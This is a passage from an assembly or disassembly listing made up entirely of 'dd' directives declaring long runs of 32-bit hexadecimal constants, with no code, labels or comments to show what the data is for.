		dd 441D9530h, 31911DC4h, 9866B538h, 0D13BC055h,	5D5955F4h
		dd 0B07BEA0Fh, 0BBF40E8Eh, 0E804D63Ah, 9613B886h, 0E0A37BCEh
		dd 59F10A27h, 0A2ACC33Ah, 6CCE7387h, 6C883289h,	5F84E768h
		dd 0E3D2C9C6h, 0F8E9F972h, 50205B23h, 497A6ABBh, 0B66CE43h
		dd 59C17F74h, 0F1C2FA9Ah, 7771ADF6h, 81BCAA7Bh,	0F1AC0F69h
		dd 41B7D4C5h, 0E533F219h, 3039152h, 80D28FE0h, 59E4AEAh
		dd 864D0CB3h, 0CF33D310h, 62F36058h, 87918C8Ah,	0FDF5ADBh
		dd 47DC35C3h, 0DF95477Bh, 44842F3h, 0B6C3DE1Ch,	0DD3198D7h
		dd 8104B586h, 2B20EB48h, 0DC794A04h, 10B8ADEBh,	0E5BFB65Ah
		dd 87B3A0A5h, 96957D3Bh, 0F7912270h, 3F325ADCh,	49255D90h
		dd 5DCE9846h, 76F9A249h, 6633D021h, 0BF02A4A0h,	1D6B4E9Bh
		dd 6FEFE698h, 34B71DF4h, 0F72DF913h, 335E0F83h,	0C4B8481Fh
		dd 8A0ECC17h, 0A197E425h, 9D3E6B94h, 4C51540Ah,	901966D8h
		dd 2ABB7916h, 1E011532h, 61C167E0h, 1FF60CFAh, 21DE4896h
		dd 3EB034D0h, 75ED823Ch, 0E926351Fh, 0F016354Fh, 693E3C7Bh
		dd 8567B9EFh, 0C40EA1CFh, 49951E5Bh, 0AFE500C1h, 0B8422A3h
		dd 0FCE275C6h, 0F53006AAh, 0C6D8BF6Eh, 0EDB125F8h, 1B720C62h
		dd 0C7156EC6h, 0E562B4DDh, 419BDD44h, 1677848h,	97BC3AD9h
		dd 79C8C48Fh, 0B7E36C19h, 54A1F3A8h, 0CED7A2FAh, 5E165947h
		dd 1D63BA83h, 0C50BE36Ch, 0ECE588A5h, 98523735h, 0BD466645h
		dd 199720CFh, 0D2842120h, 6A08EBF2h, 0FE16BD5Eh, 0A9F4CB21h
		dd 0D3B48BAh, 0BFE65986h, 93C4D2EDh, 3DD8221Ah,	0F42B0AD3h
		dd 6654C08Dh, 0B2665B47h, 0BD139CF7h, 98374DBBh, 3A84086Eh
		dd 5EE14A2Dh, 4EB1E8D9h, 0E6342E75h, 3B2E810Ch,	0A061024h
		dd 552EB37h, 33F2751h, 0F2D33DE6h, 5525114Ch, 9DA4F4C5h
		dd 9FC3812Ah, 74F233CFh, 5D0409E1h, 0D6A0CE2Dh,	0E4B08D41h
		dd 47FC859Eh, 7CE32102h, 44DB204Bh, 6231288Fh, 0B470AA81h
		dd 88FE9BEEh, 1C875532h, 0AC4BA6A7h, 0FBF6E065h, 148E46ABh
		dd 12700953h, 0F66297Ch, 70EE559h, 9062C2A9h, 8BE02B04h
		dd 7D2A8A9Fh, 0D25CAC28h, 4140E16Ah, 8BF94178h,	0B6C07413h
		dd 2C21F977h, 0DDB49AE9h, 25FF4680h, 9216D2FFh,	9F79A2Bh
		dd 0D1BFED6Dh, 57117E5h, 5C985EDDh, 0CB23589Ah,	9E84AA3Ah
		dd 0A51F6CADh, 0A3FA0691h, 0E967EC47h, 0A71F8D3Ah, 0DE3E33D3h
		dd 5DD3BF83h, 93EBF8D2h, 0A061EBC8h, 6BF31ADh, 0E3EC7CEh
		dd 0B9AD14E6h, 7B4032Dh, 2B1DDCC2h, 901B2C59h, 66A1800Ah
		dd 88A677E3h, 0F53FAD64h, 0E409C1Fh, 1D96B4BCh,	0CA75F93Dh
		dd 40144CA5h, 876A619Fh, 0DA3EF6DDh, 4E3D729Ch,	36E54555h
		dd 7F083F07h, 0C1B24F63h, 0F23E91C7h, 77FB90Ch,	0D0A739F8h
		dd 5A14E3F6h, 6326B2ECh, 0E05E7816h, 0E9521CCBh, 2196CC2Bh
		dd 18BB33A2h, 0E3A922CBh, 260FA9E7h, 3637AD30h,	799CCFACh
		dd 2C24407Eh, 3DEE31E4h, 69F34A22h, 2114DA94h, 0CDC57FB6h
		dd 3A96676Ch, 233C2088h, 4BDF85F7h, 75F61767h, 911E958Eh
		dd 98BC57FFh, 43092066h, 6302FC8h, 2652BA40h, 0EFD04A10h
		dd 44AB7607h, 6C31B808h, 28EB6CE5h, 0F0005B7Fh,	0C83408Ch
		dd 41D26C2Fh, 408FA6B4h, 2BCCCD89h, 0DBF90237h,	0EF289Dh
		dd 41D66249h, 0A1750741h, 4F0E1B36h, 75409CF8h,	0BC855AABh
		dd 390D7366h, 9FBDF275h, 524504ADh, 374BE702h, 85D42E82h
		dd 0DFAA3A2Ch, 22395858h, 0BF453619h, 39763F75h, 0D3586E74h
		dd 0ED006C95h, 23C661C6h, 59B95B1Eh, 0DB15199h,	0E2427824h
		dd 0D111D656h, 83D8F49Ah, 0D23DCB0Fh, 0BCA0E195h, 0D7097D8h
		dd 0AF1A98F5h, 75D81921h, 0E3D0B84Ch, 0CC0B2CA8h, 0F587D26Ah
		dd 6DBC6C2h, 0F68A0A6h,	3FE3FBDEh, 3A0B08B0h, 2F6752E1h
		dd 48D14DD0h, 40F92796h, 5E816A8Ch, 0ADB05AF9h,	0CF170D2Eh
		dd 14A2314Ah, 471600B3h, 0A7CF1AFBh, 5FB90418h,	0B61739C9h
		dd 431C911Eh, 340B2BFBh, 3C400778h, 636E6FCEh, 0B596889Fh
		dd 7AB42762h, 5948E264h, 127359B2h, 0EA46454Fh,	0DB19AFCEh
		dd 0A3B3BDA4h, 7DB1E6A9h, 0E9F0C464h, 0AA7A483Dh, 0ACE22467h
		dd 0DA95F1F8h, 8211D33Eh, 0F4E9B2A0h, 684B9662h, 4383C20Dh
		dd 288851B5h, 0DC019D7Eh, 3758E55Fh, 0CBE59DB7h, 2479E256h
		dd 0BBDEF467h, 487B18BFh, 72AE6050h, 29367060h,	783CD8DBh
		dd 0F8D75DBEh, 0FD6ACFC3h, 1D7E9DFh, 0AABFAD1Ah, 4C9BC89Bh
		dd 0F113F43Eh, 9F52B501h, 0D9513A0h, 2B38D871h,	0B526E816h
		dd 7D9C01C2h, 62CA4A29h, 4BB9F8FDh, 517DB87h, 0C2510FD9h
		dd 0A3415DE6h, 0C6FB5C54h, 0D707F061h, 0E965BA9Dh, 0BC6AC4E6h
		dd 64B4195Ah, 6CE6618Dh, 0E1EBED16h, 814F901Dh,	0EE17FC7Fh
		dd 82B8BA57h, 0AAD0D17Eh, 35205EC5h, 13FF7110h,	0BF008FDEh
		dd 3D65B3A7h, 0A8ABB87Dh, 6D8BC81Ch, 0B91B700h,	6B685799h
		dd 0E294094Eh, 1D4E7FCCh, 0C2E2AB37h, 50D54128h, 8BB55AEDh
		dd 5C8501D4h, 7A38540Eh, 40B01285h, 3840A98Dh, 0A1E2583Fh
		dd 3755ABAh, 0C502B5C7h, 2721657Ch, 9E8C7DB1h, 7B67542Fh
		dd 11B7737Ch, 0AD5662C5h, 72D2AF43h, 9E477E86h,	56E0AFCCh
		dd 0F9C1B265h, 9E28D19Ah, 0C4C91F9Bh, 21C84097h, 0A115CB93h
		dd 7D113A7Eh, 0AF8EF73Ah, 4A6DD4FCh, 16C068D0h,	120249A7h
		dd 6AF0F624h, 475E9CEAh, 0B5683041h, 0EFE261F9h, 25F0810Ah
		dd 5550CA10h, 5DFB8564h, 0EFEA61A9h, 7224B97Eh,	46842680h
		dd 276B8BF1h, 7F04069Ah, 9E556C23h, 0D952D5C7h,	7B7252AEh
		dd 3072908Ch, 0F04152CCh, 81429647h, 3B391D21h,	7D64064Dh
		dd 0B407B5FFh, 9C2035B1h, 12C7BBAEh, 8E4CD8D0h,	0BF13F29Dh
		dd 66DD4F85h, 971250D6h, 1D00BB75h, 0CBD78008h,	0AFF3FD7Ah
		dd 53563243h, 49CC2601h, 0F329F52h, 0A5C35C10h,	0BD19A981h
		dd 0ADBF8D61h, 1D811B01h, 0A697042Dh, 7D5C4CC3h, 9338E4D0h
		dd 6F49965Bh, 0E7B8A4ADh, 0C770B879h, 141AA7E0h, 63899608h
		dd 3BE36E2Ch, 0BA0CFBDAh, 660C2A55h, 9C93719Fh,	357CA6E2h
		dd 0EF804EC7h, 5E385F3Bh, 0CE8A22D0h, 81AC04D0h, 2BFFC081h
		dd 1473C6D8h, 99A97885h, 25A6FC7Ah, 224E048h, 0E10D687Eh
		dd 3211176Ch, 9A0F093Ch, 88ADCBD7h, 0E44F0D20h,	926C45DBh
		dd 8535EB00h, 752AE477h, 4C99E1B8h, 7C9D58DAh, 593DBFC4h
		dd 35C915A8h, 0D1DB6D10h, 0D49E7773h, 4118BABDh, 60A2ECAFh
		dd 339ED0A3h, 6582A0DEh, 2A225968h, 9F6B18C1h, 0FA0AE3E2h
		dd 0D73C5464h, 9B836B2h, 562EA881h, 0FBEFB7E3h,	64A394FDh
		dd 7AF7842Eh, 0BE425843h, 0BC771285h, 9168AC7h,	0AA3471E8h
		dd 0D6CF6BBFh, 0FF2BA7ACh, 0B776B313h, 55D96A27h, 0F41676ADh
		dd 8F19F331h, 0EE332293h, 836E8FA5h, 0EB521B3Eh, 7546D23Eh
		dd 134F6696h, 0A1015D84h, 0EFE0AD16h, 0F3866007h, 0D5F5EE00h
		dd 47BC13A8h, 6CA7312Fh, 0C4DBE0A6h, 40D4AD5Ah,	9C061B17h
		dd 4D540DB6h, 55F224C0h, 9C9C7ABFh, 419F7EA8h, 0A58F8EFDh
		dd 1B1B1819h, 11DB9C73h, 0FFC34F4Ah, 0B52B8908h, 0B7DBA8D9h
		dd 53A4DB0Ch, 55A42F0Fh, 0DE711475h, 57FA0159h,	4722EB26h
		dd 0FCDB2ACFh, 0A91BE585h, 0C23DE4D2h, 7AB0EFA1h, 0FC26AEA6h
		dd 0EA1C3529h, 0EFF311C7h, 0B821AB3h, 0D1ED8704h, 71CA84BCh
		dd 37715725h, 0A91C9D72h, 1689207Bh, 2CD603A5h,	91EF1355h
		dd 5BACF393h, 0ABAAD409h
		dd 0B6AF5AB8h, 0CF1E8673h, 0BF46C76Dh, 33225090h, 633AFDF1h
		dd 0B33AE51Dh, 0FE16F059h, 0DDEC6BC4h, 9436AC08h, 77BCA0A8h
		dd 4FCAF328h, 15025AD0h, 521A0788h, 0BBBE7FBDh,	0D6DE718Ch
		dd 5FBC1DFCh, 9AD61FBBh, 0E5D33567h, 0A3A8BA7Ah, 0EA48341Bh
		dd 8F9CFA31h, 8914DD4Ah, 7FCAE939h, 0C6AFE181h,	10F0591Ah
		dd 0CA211316h, 0A0FDD57Fh, 67592C2Fh, 81F4123Eh, 0DCB96AA6h
		dd 0F2311180h, 806B816Fh, 17D42B9Ch, 3252D4D7h,	0A55F4654h
		dd 519BABB0h, 919BDB53h, 44B54FEEh, 5C216E75h, 22BB9052h
		dd 5692D2A7h, 256ED665h, 0D14E75C9h, 33DCF866h,	0D28FD049h
		dd 384049B7h, 1984515Bh, 63BB412Dh, 7CC4F4B1h, 3199EFB4h
		dd 878E120Fh, 0C325BFE4h, 7B8B9598h, 0A27ED92Ah, 765DB3B2h
		dd 0A52BC856h, 80163740h, 5274AA52h, 0D543351Dh, 46D10EC0h
		dd 0B630D2C9h, 43AE4E1h, 86E6C3F1h, 0E848835Ah,	3FFAB2D9h
		dd 0DE5D0BE6h, 658F13C1h, 482E6EB6h, 0EAA4F399h, 3ED59795h
		dd 81B9B481h, 0A85C016h, 2FBC79AFh, 61469206h, 0C819E180h
		dd 0FC547E6Ch, 2D153DB6h, 68E55A8Dh, 0C9832718h, 4C3A70A6h
		dd 0FFCE2891h, 116B7795h, 0FCDAE885h, 0FC5AF1ECh, 0C2B23764h
		dd 0EB031DB8h, 69961723h, 0BD962D13h, 7AAD3F5Ch, 3A19449h
		dd 344767Ch, 0C12321D1h, 5E4D2749h, 6673E09Dh, 0D0BD3C2h
		dd 4C316428h, 6E640960h, 350D123Fh, 7B824EEEh, 2D17AA2h
		dd 13A37335h, 9B71E838h, 4E1FA2E5h, 1040A7B7h, 6B0C6E9Bh
		dd 4DBB0C62h, 51553736h, 0BABF9BDBh, 3CC7F42Dh,	12C337B9h
		dd 0DA3AA1C4h, 514B3DACh, 97C79B34h, 0F2C3B124h, 2DE7624Bh
		dd 490A3949h, 97C008DAh, 0D3274B64h, 4AB4650Eh,	0AFB909A5h
		dd 81D5FFCFh, 0D61DD4E3h, 53B7CB0Ch, 0BFED720Dh, 8B462952h
		dd 0B903494Ch, 21E953E1h, 8EAE2479h, 891687E3h,	4F03B845h
		dd 0ABC83B5Eh, 0F94085FFh, 701C1F20h, 6ED992A9h, 3FA16C5Ch
		dd 3BA1187h, 0E1124589h, 8DFEF47h, 0B5842FA0h, 558ADE09h
		dd 0B1D1EC94h, 1D63221Ch, 0F2427230h, 1A3142FDh, 92EFB762h
		dd 0DBF280F9h, 0B07A428Bh, 24D40A9Eh, 0E18F49B3h, 0DB05381Fh
		dd 35AF89FCh, 62CCA1DAh, 2697FB76h, 0D1D0A377h,	301ECEBDh
		dd 4B8E8A03h, 56CDB882h, 0AAEDD26Dh, 0CCBA1177h, 0C9E500BBh
		dd 1BF4D568h, 49EDBEC6h, 0AAF8D24h, 0AA1EE507h,	588783E6h
		dd 89E6DED7h, 956E0C7h,	9E696EEEh, 11A4D470h, 944B820Dh
		dd 906C1658h, 0FE99B495h, 0C5137569h, 9E683BBBh, 0A1CE0A6Ch
		dd 371AD3FDh, 0D74B5A74h, 7A369A6Dh, 2A4D03A1h,	0DA5AA3EEh
		dd 0DA5FFF3Ch, 93A21798h, 69BF58Fh, 9001951h, 0F51AF843h
		dd 753C326Eh, 24CFF742h, 2BE77F7h, 267874B4h, 781E5066h
		dd 333502Dh, 0B10E63EFh, 0DD6064C1h, 46B13B60h,	0D00E8E9Eh
		dd 0C09C199Dh, 0C0A5C9EAh, 0EDDF4866h, 25217EECh, 9F10D348h
		dd 2B293928h, 26E6E4CFh, 0F4CABD4Bh, 64A7837Fh,	405C85A0h
		dd 3DA6E749h, 0F0C720A7h, 6652E488h, 0D8BBFBADh, 0F7584719h
		dd 67241F7h, 0CE6F6C2h,	0D2F75322h, 0FDCCA9FFh,	99F37AAEh
		dd 5F2F527Dh, 0C193322Fh, 1CCB78F3h, 3679CC55h,	4455C15Dh
		dd 0AA9A0227h, 0A69B9F10h, 0DE0BC4BEh, 0D1D94070h, 6274A9C2h
		dd 303C158Ah, 6A2C11A2h, 2D7DC9F4h, 20B3EB81h, 0D32444Ch
		dd 0E73D980Bh, 0C1C4FA9Ch, 1F54ED8Ah, 768FB96Ch, 12F67780h
		dd 0DB692594h, 52C91B69h, 83D12B0h, 0F706CA79h,	58D744B1h
		dd 42C65707h, 0F8AAF6E6h, 19E3ECAEh, 0D8C2939Bh, 0A0A20E65h
		dd 2AD88C49h, 62326AFCh, 5499C65Ah, 37CF8E0h, 4DF3AB8Fh
		dd 212EC037h, 8FFF2A0Fh, 4DA38166h, 0C72FC205h,	1114FCBAh
		dd 8584F053h, 90EF0BC2h, 3E1BDCA3h, 7DE0F8Dh, 4A0EBAD4h
		dd 0D57244A5h, 0F13470AEh, 376D43C4h, 53E8D8B6h, 0FD418F7Ch
		dd 6F7487E0h, 774B81C3h, 44715F34h, 1A298228h, 0FE5E0F5Ah
		dd 0FFEE650Fh, 249DAB52h, 0E3D96DB5h, 4B57CFC9h, 0D1C3F769h
		dd 0E4B94CE2h, 0F10DDC40h, 28EE3C55h, 0DC3C6E4Eh, 0F3C5CD85h
		dd 0FC094EECh, 0B95BAD4Eh, 553231E7h, 0D7B6473Bh, 49007954h
		dd 97DA8EA3h, 340B7B6h,	0E0302DE3h, 0DEA50D7Eh,	38AFD78Dh
		dd 6173D26Dh, 0D10A4A3h, 0EEC0364Eh, 4CAD2104h,	6C4FAEF5h
		dd 0CDE93198h, 0A7E531CFh, 2BB8A7CCh, 152F10C1h, 613ECE4Bh
		dd 9570BAA6h, 9B3176FAh, 517A56CEh, 0D7FC5B8Eh,	0E015129Dh
		dd 82069202h, 955253ECh, 3760E64h, 0AAEAA084h, 7718ABB4h
		dd 25DEDC55h, 0BA4D37CAh, 0FD40229Bh, 196432E2h, 76761CC2h
		dd 0F3FCAFF0h, 0D24C0F3Bh, 0D3609EC9h, 0E65973F8h, 0C426C8CFh
		dd 0D777275Eh, 0F1093632h, 8FF7D3D7h, 5C9CED2Eh, 0EDDB20FBh
		dd 699083ACh, 639190E0h, 0DB19B145h, 631BB3B2h,	92D16C5Ch
		dd 46C678C6h, 0F1660E21h, 0F1587B23h, 0A4DE927Ch, 0FE6E8A9Eh
		dd 8BA6A83Eh, 10C7A85Ah, 59976F11h, 3906F91Dh, 0BE0BDDDAh
		dd 53D931BEh, 136158B7h, 4D97DDBBh, 0AB3D8027h,	8D6B2827h
		dd 0F216945Dh, 14E12F92h, 390F42B9h, 0AE511EFDh, 0E2C41A8Fh
		dd 0A709C98Fh, 384829C5h, 61F6FAE5h, 0C174035h,	4652B18h
		dd 5794A3BDh, 0EF6F700Bh, 0DDA5D519h, 4BCE0BBEh, 21CD6A28h
		dd 0A2368C1Dh, 101AFF16h, 0C9967B29h, 720D404Dh, 0C2BEFEB9h
		dd 0FF7DBDBFh, 0BA8BECA6h, 6832D175h, 0EC7D7417h, 0C9572566h
		dd 520804DFh, 66D77617h, 0FC77A313h, 7000469Ah,	1AFF354Dh
		dd 5C3BC874h, 831A09A1h, 6B72EB77h, 0EB2EE301h,	5F3EE2ADh
		dd 767147A5h, 0A407B4FDh, 91060408h, 5537DD38h,	0C715F9F3h
		dd 4BB193DAh, 53B69755h, 6E74283Bh, 45502DF6h, 0E1C96021h
		dd 0E5EA6B3Eh, 71654F0Fh, 32E44B7Ch, 4DDCC4Ah, 0A9B1B905h
		dd 0DF88E4CDh, 0D0C267B6h, 3BA114F8h, 0AA782FDEh, 8F5DCCF2h
		dd 0A0F91B0Ah, 503DE9D8h, 0C4D4E217h, 0E4DFFB32h, 6D89470Fh
		dd 9CB47CB8h, 0F5AB9877h, 0F6867BEAh, 4CFA70D2h, 0CD200BF2h
		dd 64824258h, 3FC8C2B5h, 0B7EA36CBh, 425E74E3h,	0CC01ED39h
		dd 0A26BB708h, 0F144F29Fh, 74B0EDF0h, 1654A79Ah, 3BA50F45h
		dd 0B0D7AEA2h, 68DA047h, 0FC18AE7Eh, 0EE85862Eh, 1CD6D268h
		dd 0A33E9C43h, 0C36DE437h, 0F860C13Ah, 0A2444704h, 69A88A13h
		dd 0E68D8D94h, 8ADDF95Eh, 67652E76h, 78904F02h,	0FD444724h
		dd 0FE1E4A8Dh, 0D7E3B1ECh, 34D84476h, 4786AD95h, 0BBAFBFACh
		dd 1C62E562h, 39CA43D8h, 0C6CCBB4Eh, 0EC1D4E9Fh, 0F93C12DEh
		dd 1B284286h, 0A1A778B8h, 0DD874081h, 6706C83Ch, 6A05E4CCh
		dd 1C681D35h, 620C7A6Dh, 96FACD63h, 9C9B27CBh, 0AE4DAB2Ah
		dd 79EB37CCh, 6DE14F7Ch, 41FBDFCBh, 213B7AFAh, 5E0D03C7h
		dd 47C178DBh, 7BAE72E3h, 0CC8A866h, 8FAC76B0h, 0C3C3CF1h
		dd 0C4012D0Bh, 9A034EBBh, 7DC3FE6Ch, 0FFF72DA7h, 90FD81C3h
		dd 485EAAEDh, 3CA93D35h, 0C04155B9h, 245A2427h,	102F5215h
		dd 86BCFE6Fh, 520261CBh, 0DB5E52Bh, 0F9CABE25h,	35CCD72Fh
		dd 0AAC6051h, 0F7287910h, 70E9E546h, 9B81BDD3h,	6FF00B43h
		dd 984E18F8h, 0BA7D6493h, 0E6CB7725h, 6581403Fh, 6ADE545Bh
		dd 79376C8Fh, 42C0BF50h, 4ECC40DEh, 5DBA4A20h, 0C00DF244h
		dd 4A3BBCD5h, 0ECE7FBBCh, 6FC4BE88h, 0BCD40Fh, 648E6229h
		dd 0A896F69Eh, 2002EA6Dh, 397E9507h, 5E8AAF2Ah,	298108DCh
		dd 8219AF60h, 54D30346h, 659EA62Bh, 0FB5ADE03h,	0A279D105h
		dd 7642892Ch, 0D6C021A8h
		dd 0F191C345h, 87ABDB4Bh, 277E21h, 2EF3B0FAh, 9467A1BBh
		dd 0E755B1E0h, 261902B7h, 0BBBDAF59h, 9559DD7h,	0FB3DF285h
		dd 0D1B1AA66h, 5671A334h, 0AE6420FCh, 1B860571h, 0EC575745h
		dd 154F97AFh, 0F04DE269h, 1F4A1709h, 46E55E67h,	33E84B05h
		dd 77FF7F75h, 0F94CBF9Dh, 0B048BF78h, 0C3EA87FAh, 0E6A70860h
		dd 9F244C7Ah, 5C2BE226h, 42FD7B6Dh, 0B9C906E2h,	12953331h
		dd 63038E63h, 0F8079E19h, 72D58360h, 993DC55Dh,	6E3ADF62h
		dd 37C01344h, 0EC08B7AAh, 24F69C64h, 0C02382B2h, 0AC30E841h
		dd 3C62748Fh, 0F80D6A8Eh, 0D7509E1Eh, 0CD4E3F01h, 83B4513Eh
		dd 0D5410313h, 8B27661Ch, 88861E7Ah, 0AB8D360Eh, 2E57E731h
		dd 2D23BE8Eh, 0EAB1F524h, 6DBD50E8h, 9F89B313h,	204B2A6Bh
		dd 0DAE97485h, 9712B63h, 6E258AA4h, 8367F8F8h, 398BF481h
		dd 0DB35EE45h, 16BD4665h, 2BF1B11Eh, 497D81E1h,	0CDF07151h
		dd 3EF0874Ah, 0E99B738Bh, 0C713DFB4h, 2F726D53h, 0BD4E00A1h
		dd 83736C30h, 0BD97643Eh, 0F1FE2986h, 533AEA96h, 55D86498h
		dd 894DB80Dh, 0B5D923A3h, 0CC21DBD7h, 0C08DA11Eh, 1917B1F8h
		dd 45A38322h, 54EFC2A6h, 65DDE23Dh, 44578C2Eh, 65728F8h
		dd 5E8EAD4Ch, 7C867A8Dh, 0CB5784D0h, 0EFB4E207h, 0FE557760h
		dd 0FA2C33D6h, 151AB795h, 296D2F6Ch, 17AADCBAh,	0A734B27h
		dd 0B859EC8Eh, 0A4D40512h, 8499897Ch, 0BC8BA6C4h, 9EEDD967h
		dd 0FED39F54h, 0E515CC4Fh, 0B3EACBCBh, 360CFF9Bh, 6A8BA3ADh
		dd 93DEEA90h, 0EAA867B3h, 0C9D36289h, 45818CBAh, 9132D1E5h
		dd 0AA75BFE1h, 0B8C2B4Ch, 3E7C9543h, 0EC790160h, 0A109AA42h
		dd 8740B196h, 49489212h, 0BEC6A5FEh, 227A49E6h,	84C61F06h
		dd 0AF05509Eh, 0ADB0DD36h, 0A4F2C964h, 0CBF9AE6Dh, 957451C2h
		dd 50AE3DFCh, 1EA673E7h, 0D3EF2CCCh, 600751B4h,	60204F50h
		dd 43088387h, 0C8399DD9h, 12E0BA6Ah, 128D9F1Bh,	0DE1216EBh
		dd 0E195A840h, 8A5BCFE8h, 1BE163D2h, 75F5D8F3h,	0F21E722Eh
		dd 0F029F444h, 3F35B977h, 298656FBh, 247FE540h,	0BBC95527h
		dd 8FE8BD65h, 0A60B4CA4h, 32FF6D43h, 0C88F9A35h, 2DB2064Eh
		dd 5F31A864h, 0A27CC09Ch, 72FA480Eh, 38B9ABA0h,	9D52CB98h
		dd 14EF5367h, 2F25AEDEh, 33DCB186h, 38F95F9Ah, 7D3B4E74h
		dd 0CAE41410h, 0B39DF815h, 0E7BA9E8Dh, 0B212B213h, 0D87A23Ah
		dd 0F940CE99h, 4C72795Ch, 0A08C752Ah, 26A1F51Ch, 0EACA070Bh
		dd 3473B00Dh, 0F067B721h, 38B7F1F2h, 9EF05E2Ch,	0DB43A72Eh
		dd 9428A0BFh, 5370ED91h, 0A1327EBCh, 0A7EA88CBh, 0BDF24A87h
		dd 2A2A6274h, 7182C223h, 801BD1AFh, 71F6C9DAh, 38D4460Ah
		dd 0A2D2AAEDh, 0FC963794h, 867308F5h, 0C19D2E68h, 0BD4C7D6h
		dd 0E1030E39h, 0FDABA065h, 1850A1B0h, 5EF40E11h, 0B9D8B884h
		dd 0BC67564Bh, 1015DAB8h, 486D1EFFh, 0D2F585D2h, 3931640Ch
		dd 19674ACBh, 0AC495E5Dh, 7B43BDA0h, 30D68582h,	0CFC75E44h
		dd 8A40931Ah, 0DCAC16A3h, 0ECC1CEBFh, 0D58C3F2h, 1198C89Ah
		dd 9258A999h, 8FAF4859h, 3051ED82h, 98919299h, 57CDF748h
		dd 0F1693D6Ah, 3ECEADB0h, 9A06D0C9h, 0D5773CC9h, 0AC04C398h
		dd 199F799Ch, 0C12E41CBh, 0AECBEE9Ah, 0E8755897h, 1491E8A2h
		dd 70F46B1Ah, 0A1656D9Fh, 133374FEh, 0D82C4036h, 801833C3h
		dd 971D788Fh, 0D75980Dh, 40D46849h, 45B9B26Bh, 0AA83A1B8h
		dd 2607361Dh, 37A727D3h, 0FD3EB877h, 0D9C73D70h, 0E957A51h
		dd 21E7C49Eh, 342A3580h, 9E907037h, 0D757F153h,	60BC8C52h
		dd 0B2AAA0D2h, 0AC161C6Dh, 3514EB6Bh, 0B0133945h, 313785Bh
		dd 5A52C273h, 0AEE2075Bh, 0DA849732h, 0ABA2F9BAh, 0B5CA244Ch
		dd 4DE35B9h, 96569A28h,	46856D75h, 40432973h, 0D133C7B1h
		dd 0B5A40A19h, 8CF0D7D6h, 35DB6A9Bh, 0D7528B73h, 9492AEDDh
		dd 39A9D492h, 0CEF963F1h, 31386833h, 7EC96E7Ch,	96762D07h
		dd 8DB8DD31h, 0CF107A58h, 121EFBDCh, 0D653DEF3h, 730A7C95h
		dd 0B53B4FE8h, 8AF2E7CDh, 5A0E33F0h, 651BCD91h,	30BA76E9h
		dd 4F5A8625h, 0B87D412h, 90931785h, 0ABCBCF6Ch,	0F4391D39h
		dd 6CF5E61Ch, 0ACCEC31Ch, 73AA6F4h, 0F92EB3DCh,	9E865Ch
		dd 0BA3A6F8Dh, 32677E78h, 0FBDEE9E9h, 4D275B5Eh, 2166C478h
		dd 1F195AADh, 29BF39D4h, 306792F4h, 0A9D6F102h,	0B1AF9892h
		dd 5313D8A5h, 4B1B9428h, 6E71C9F3h, 0C01DC5C4h,	0B3EAA9E6h
		dd 0D225C10Ah, 40B6C89Ah, 44932589h, 0C250D973h, 9C50DB49h
		dd 0BD26E8DAh, 98365AE9h, 63B48150h, 651B17CFh,	93F604F9h
		dd 0E99E894Fh, 340DBC65h, 0AF5ECB31h, 78A6DF29h, 16E0454h
		dd 3100A98Fh, 47AE56DEh, 0C97F88B5h, 74291D5Ah,	0EEB190C1h
		dd 1E03B7DFh, 0F1DB303Ah, 386DEFA4h, 26AA2B11h,	265299CDh
		dd 5FA8689Ch, 339B382Dh, 9046B8E7h, 855EF036h, 0F2FE5658h
		dd 2DF6C63h, 878A5262h,	79EEF2D0h, 0C1CE1D9Ah, 81427054h
		dd 75D2022Ch, 0B3417535h, 3C6F532Ch, 13B56FD1h,	92BEC56Ch
		dd 0BA016355h, 0C5918B7Fh, 495304B2h, 63289732h, 0AE41B8CFh
		dd 709B88AAh, 934F66E8h, 0AE32E296h, 0BDC5C5F0h, 9CEF020Dh
		dd 0D188F376h, 0E4A06BD9h, 0A60AFA30h, 76828430h, 9CB2ADF4h
		dd 1667BB41h, 5198F8DBh, 259884Eh, 5001733Dh, 668C8E6Ah
		dd 9CCBED47h, 346DBF31h, 0E69D7806h, 88A36EBCh,	64A314B7h
		dd 26593BCh, 0ED2CCDE7h, 7BC37CD8h, 80B33F16h, 62206F20h
		dd 71C2F041h, 9029AA33h, 62440CB8h, 92D79303h, 211E992Bh
		dd 1B3C9B5Fh, 7D187D9Ah, 97040327h, 514630A2h, 0E5C621CAh
		dd 420C7353h, 95638FC5h, 714D2370h, 7FF2D34Eh, 1DA0D71Ch
		dd 0D99F6181h, 1B693492h, 15906527h, 7A066FC1h,	422C92B7h
		dd 7B135492h, 737ECFC4h, 0F45693A2h, 51BF72B4h,	42099584h
		dd 41EEA051h, 0DE816EBCh, 26B219CFh, 5A232194h,	0B09D3470h
		dd 9ED2F46Ah, 5AD61183h, 63F027BEh, 0DD3E9136h,	4245BECh
		dd 294E2BB7h, 0C2B85898h, 940DFA9Dh, 0C0A7237Fh, 9692123Bh
		dd 0F392BAF2h, 80D51749h, 7D1A18EAh, 53293F09h,	7B66C114h
		dd 0D56539E3h, 0EE1B625Dh, 2BAB0FA2h, 0FDFEC0EBh, 245C0AA8h
		dd 0EFE476C8h, 1F0D1B12h, 0A81D7FE9h, 79390F0Ch, 4D8E68E8h
		dd 0DE4EAF2Ch, 5B411B21h, 0F8414197h, 262ED2CEh, 71CD6A42h
		dd 0DB84F60Eh, 8103EFD7h, 0AB365FADh, 0E970938Ah, 0A5649A2Eh
		dd 644907D1h, 934C2E22h, 0B67851Fh, 17C44439h, 4F190475h
		dd 0EB488C39h, 4B32A12Ch, 20E9B3C2h, 685CB011h,	0C2661D5Eh
		dd 459F4E6Ch, 0CD21B0FAh, 0E11FC7F3h, 0F81D585h, 0DA1263D3h
		dd 0ACDF7934h, 4974DC43h, 46F4096Bh, 2B0A44E1h,	630E0540h
		dd 1E6127D4h, 48FDE805h, 4117653Dh, 6243B3E3h, 45EB8CDh
		dd 805F3EF3h, 53AB25B3h, 2377E14Fh, 54323DD5h, 39252280h
		dd 0B1F97BFCh, 994867Fh, 0EFF28215h, 0F60B24B2h, 7A79238Ah
		dd 0A55C4EBEh, 0B26C1EEAh, 0A2E6C624h, 0A8BEFA63h, 0E99AFEE8h
		dd 9A2190B6h, 0D80EBFFAh, 81992EBCh, 0C19E926h,	2495D2Eh
		dd 0C9C1A19Bh, 58E05AD2h, 0D4C83060h, 51D93EEAh, 53F5D633h
		dd 7EDAFE89h, 2A6A2A2Ch, 1F0B1425h, 0F07DB41h, 0AFF1D5F3h
		dd 3EDB2E80h, 31FBD6ACh, 0B664DA9h, 0F131FA20h,	0D33C0664h
